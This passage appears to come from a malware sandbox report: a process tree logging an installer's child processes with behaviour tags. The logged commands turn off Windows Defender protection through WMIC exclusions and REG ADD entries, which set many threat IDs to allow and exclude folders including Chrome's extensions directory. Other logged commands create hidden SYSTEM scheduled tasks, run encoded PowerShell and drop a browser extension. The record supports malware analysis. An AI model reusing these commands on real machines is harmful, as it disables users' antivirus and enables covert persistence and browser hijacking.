PID 588 wrote to memory of 2664	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2664	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2664	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1500	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1500	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1500	588	powershell.exe	reg.exe
PID 588 wrote to memory of 4332	588	powershell.exe	reg.exe
PID 588 wrote to memory of 4332	588	powershell.exe	reg.exe
PID 588 wrote to memory of 4332	588	powershell.exe	reg.exe
PID 588 wrote to memory of 700	588	powershell.exe	reg.exe
PID 588 wrote to memory of 700	588	powershell.exe	reg.exe
PID 588 wrote to memory of 700	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1756	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1756	588	powershell.exe	reg.exe
PID 588 wrote to memory of 1756	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2900	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2900	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2900	588	powershell.exe	reg.exe
PID 588 wrote to memory of 2208	588	powershell.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exe
"C:\Users\Admin\AppData\Local\Temp\2150c6d508e940cc0f6b8a56c2cb6d885ae778577e35bf360f83022423a664f5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768

C:\Users\Admin\AppData\Local\Temp\7zS6B7B.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2564

C:\Users\Admin\AppData\Local\Temp\7zS6DFC.tmp\Install.exe
.\Install.exe /QqdidYEOZ "385137" /S
3⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:3840

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
4⤵
- Suspicious use of WriteProcessMemory
PID:8

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
5⤵
- Suspicious use of WriteProcessMemory
PID:308

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2284

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
7⤵
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bkulktKnsMWheyTcHH" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zS6DFC.tmp\Install.exe\" 3T /vdidnqfo 385137 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3840 -s 1028
4⤵
- Program crash
PID:4924

C:\Users\Admin\AppData\Local\Temp\7zS6DFC.tmp\Install.exe
C:\Users\Admin\AppData\Local\Temp\7zS6DFC.tmp\Install.exe 3T /vdidnqfo 385137 /S
1⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:4908

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:588

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:4988

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:2596

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:2572

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:1132

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:2044

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:3400

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:3008

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:2664

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:1500

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:4332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:700

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:1756

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:2900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:2208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:4532

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:2176

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:1740

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:792

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:3016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:2228

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:1136

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:4016

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:4752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:2444

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
3⤵
PID:616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
3⤵
PID:4160

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
3⤵
PID:376

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
3⤵
PID:360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DLOGhsaIU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DLOGhsaIU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JoukbHKXhnJgygRymeR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\JoukbHKXhnJgygRymeR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LXFcSqNRPdfiC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LXFcSqNRPdfiC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bmRmotOcEZUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\bmRmotOcEZUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dqJSprjCYNjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dqJSprjCYNjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\lKoxjEGWaXzMwnVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\lKoxjEGWaXzMwnVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jEUQWIQvPKxTkmGv\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\jEUQWIQvPKxTkmGv\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2384

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DLOGhsaIU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2696

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DLOGhsaIU" /t REG_DWORD /d 0 /reg:32
4⤵
PID:504

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DLOGhsaIU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1600

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JoukbHKXhnJgygRymeR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1616

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\JoukbHKXhnJgygRymeR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3208

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LXFcSqNRPdfiC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4212

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LXFcSqNRPdfiC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bmRmotOcEZUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\bmRmotOcEZUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5048

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dqJSprjCYNjU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dqJSprjCYNjU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2344

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\lKoxjEGWaXzMwnVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\lKoxjEGWaXzMwnVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:3648

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4628

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA /t REG_DWORD /d 0 /reg:32
3⤵
PID:804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\MEjESHlTzhJRobPiA /t REG_DWORD /d 0 /reg:64
3⤵
PID:2340

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jEUQWIQvPKxTkmGv /t REG_DWORD /d 0 /reg:32
3⤵
PID:1884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\jEUQWIQvPKxTkmGv /t REG_DWORD /d 0 /reg:64
3⤵
PID:4640

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gnxzjrxgo" /SC once /ST 00:26:15 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Scheduled Task/Job: Scheduled Task
PID:1276

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gnxzjrxgo"
2⤵
PID:2172

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gnxzjrxgo"
2⤵
PID:700

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QGKRfysOUInPGCvKQ" /SC once /ST 04:03:06 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jEUQWIQvPKxTkmGv\izLXyiINtDhbyEF\UXTuNmj.exe\" rx /QLSzdidpo 385137 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:4352

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "QGKRfysOUInPGCvKQ"
2⤵
PID:3532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4908 -s 788
2⤵
- Program crash
PID:4748

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:96

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3600

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
1⤵
PID:520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5104

\??\c:\windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4624

C:\Windows\Temp\jEUQWIQvPKxTkmGv\izLXyiINtDhbyEF\UXTuNmj.exe
C:\Windows\Temp\jEUQWIQvPKxTkmGv\izLXyiINtDhbyEF\UXTuNmj.exe rx /QLSzdidpo 385137 /S
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3376

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bkulktKnsMWheyTcHH"
2⤵
PID:376

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
2⤵
PID:4580

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
3⤵
PID:4804

C:\Windows\SysWOW64\cmd.exe
/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
4⤵
PID:2060

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
